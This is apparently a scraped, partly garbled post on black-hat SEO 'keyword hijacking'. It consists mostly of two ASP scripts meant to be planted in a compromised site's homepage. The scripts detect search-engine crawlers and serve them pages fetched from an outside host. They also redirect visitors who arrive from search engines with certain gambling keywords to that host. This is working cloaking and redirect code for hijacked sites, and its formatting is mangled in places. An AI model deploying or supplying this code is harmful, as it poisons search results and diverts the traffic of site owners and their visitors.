Abstract: Keyword hijacking (black hat SEO) In fact, the principle is very simple: Search engine keyword hijacking process is actually, modify the broiler site (Webshell site) A's homepage (want to be included in the Search engine page, the general situation is the homepage), make it to make judgments ...
Black Hat SEO Code one:
<%function Getbot ()'Search SpidersDim s_agent Getbot=""s_agent=request.servervariables ("http_user_agent")'Key Judgment StatementifInStr1, S_agent,"Googlebot",1) >0Then Getbot="Google"Endif ifInStr1, S_agent,"MSNBot",1) >0Then Getbot="MSN"Endif ifInStr1, S_agent,"slurp",1) >0Then Getbot="Yahoo"Endif ifInStr1, S_agent,"Baiduspider",1) >0Then Getbot="Baidu"Endif ifInStr1, S_agent,"Sohu-search",1) >0Then Getbot="Sohu"Endif ifInStr1, S_agent,"Lycos",1) >0Then Getbot="Lycos"Endif ifInStr1, S_agent,"Robozilla",1) >0Then Getbot="Robozilla"EndifEnd Function Function Gethttppage (Path) T=getbody (Path) gethttppage=bytestobstr (T,"GB2312")'CodingEnd function function newstring (wstr,strng) newstring=Instr (LCase (WSTR), LCase (strng))ifnewstring<=0Then newstring=Len (WSTR) End function function getbody (URL) On Error Resume Next Set retrieval= CreateObject ("Microsoft.XMLHTTP") with retrieval. Open"Get", URL, False,"","" . Send GetBody= . Responsebody End with Set retrieval=Nothing End function function Bytestobstr (body,cset) Dim objstreamSetobjstream = Server.CreateObject ("ADODB.stream") objstream. Type=1objstream. Mode=3objstream. Open objstream. Write Body objstream. Position=0objstream. Type=2objstream. Charset=Cset bytestobstr=objstream. ReadText objstream. CloseSetobjstream =Nothing End Function Dim wstr,str,url,start,over,dtimeifgetbot="Baidu" Then'to the Baidu Spider custom contentUrl="http://www.yunsec.net" 'the page address you want to show to the spiderWstr=gethttppage (URL) body=Wstr Response.Write""&body&""Response.End ElseIf Getbot="Google" Then'custom content for Google SpidersUrl="http://www.yunsec.net"Wstr=gethttppage (URL) body=Wstr Response.Write""&body&""Response.End Endif ifInStr (Request.ServerVariables ("Http_referer"),"www.baidu.com") >0 Then'If the user is from www.baidu.comResponse.Redirect ("http://www.yunsec.net/") 'jump to specified addressEndif%>
Black Hat SEO II
<%function Haskey () Dim Urlrefer,i,searray Urlrefer="Refer:"&lcase (Request. ServerVariables ("Http_referer")) Haskey=false ifUrlrefer=""Then fromse=falseSearray=array ("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca") forI=0To UBound (Searray)if(InStr (Urlrefer,searray (i)) >0) then haskey=trueNext End Function Function Fromse () Dim Urlrefer,i,searray Urlrefer="Refer:"&lcase (Request. ServerVariables ("Http_referer")) Fromse=false ifUrlrefer=""Then fromse=falseSearray=array ("Google","Baidu","Sogou","Yahoo","Soso") forI=0To UBound (Searray)if(InStr (Urlrefer,searray (i)) >0) then fromse=trueNext End Function Function Isspider () Dim agent,searray,i Agent="Agent:"&lcase (Request.ServerVariables ("http_user_agent")) Searray=array ("Googlebot","Baiduspider","Sogou","Yahoo","Soso") Isspider=false forI=0To UBound (Searray)if(InStr (Agent,searray (i)) >0) then isspider=trueNext End Function function gethttp (URL) Dim httpSetHttp=createobject ("msxml2.xmlhttp") Http.open"GET"Urlfalsehttp.send ()ifHttp.readystate<>4Then Exit Function Endifgethttp=bytes2bstr (http.responsebody)Sethttp= NothingifErr.number<>0Then err. Clear End Function Function Bytes2bstr (vIn) Dim strreturn Dim I,thischarcode,nextcharcode Strreturn=""For i=1To LenB (vIn) Thischarcode= AscB (MidB (Vin,i,1)) If Thischarcode< &H80 then Strreturnstrreturn= Strreturn &Chr (thischarcode) Else Nextcharcode= AscB (MidB (vin,i+1,1)) Strreturnstrreturn= Strreturn & Chr (CLng (thischarcode) * &h100 +CInt (Nextcharcode)) II= i +1End If Next bytes2bstr=strreturn End functionif(Fromse () and Haskey ()) then Response.Redirect ("http://www.yunsec.net") Endif if(Isspider ()) Then Dim Myfso,fileurl,filecon,myfile,remotehtml,bodyurl Bodyurl="http://www.yunsec.net/hack.htm"response.clear remotehtml=gethttp (Bodyurl) Response.Write (remotehtml) Response.Write ("<!--"&now () &" -") Response.Flush Endif%>
ASP of search engine keyword hijacking